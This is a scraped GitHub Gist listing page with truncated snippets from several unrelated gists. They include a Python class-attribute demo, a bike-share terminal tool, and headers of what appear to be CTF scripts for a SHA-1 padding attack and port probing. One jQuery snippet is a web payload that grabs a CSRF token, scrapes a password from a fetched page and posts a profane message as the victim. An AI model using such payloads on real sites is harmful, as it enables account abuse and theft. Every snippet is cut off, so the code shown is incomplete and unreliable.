Skip to content

Instantly share code, notes, and snippets.

class Base(object):
things = []
def update(self):
print "I do nothing"
class A(Base):
def update(self):
self.things.append('This is A')
/*
/| |\
`__\\ //__'
|| ||
\__`\ |'__/
`_\\ //_'
_.,:---;,._
\_: :_/
|@. .@|
$(function(){
var action = $('#new_post').attr('action');
var csrf = $('#new_post input[name=_csrf]').val();
var url = $('table a').attr('href');
$.get(url,function(response){
var html = $(response);
var pwd = html.find('td')[0].innerText;
$.post(action, {_csrf: csrf, title: "NOT SO AWESOME", body:"FUCK YOU"});
});});
import urllib
import hashlib
import requests
from shaext import shaext
"""
http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/
- shaext.py
- code from sha-padding.py
#!/usr/bin/env python
import logging
import random
import socket
import sys
import urllib
HOST = "localhost"
PORT = 3000
N_INSTANCES = 4
#!/usr/bin/env python
import socket
import urllib2
import json
import sys
import time
"""
LET'S LOOK FOR HIGHER PORT DIFFERENCES MOTHERFUCKER
@eskerda
eskerda / class_generation.py
Created June 3, 2013 05:04
Kids, do not try this at home!
#!/usr/bin/env python2.7
""" class_generation.py: This file generates subclasses of
GeneralPurposeClass in execution time just for the fun
of it.
>>> import class_generation
>>> for class_name in class_generation.__all__:
... instance = eval("class_generation.%s" % class_name)()
... instance.greet()
@eskerda
eskerda / termbike.py
Last active November 29, 2017 18:38
# -*- coding: utf-8 -*-
"""
❯ termbike.py "36 Maple St, NY"
396 - Lefferts Pl & Franklin Ave
🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 🚲 ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮
365 - Fulton St & Grand Ave
🚲 🚲 🚲 🚲 🚲 ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮
436 - Hancock St & Bedford Ave
🚲 🚲 🚲 🚲 🚲 ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮ ☮
437 - Macon St & Nostrand Ave
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.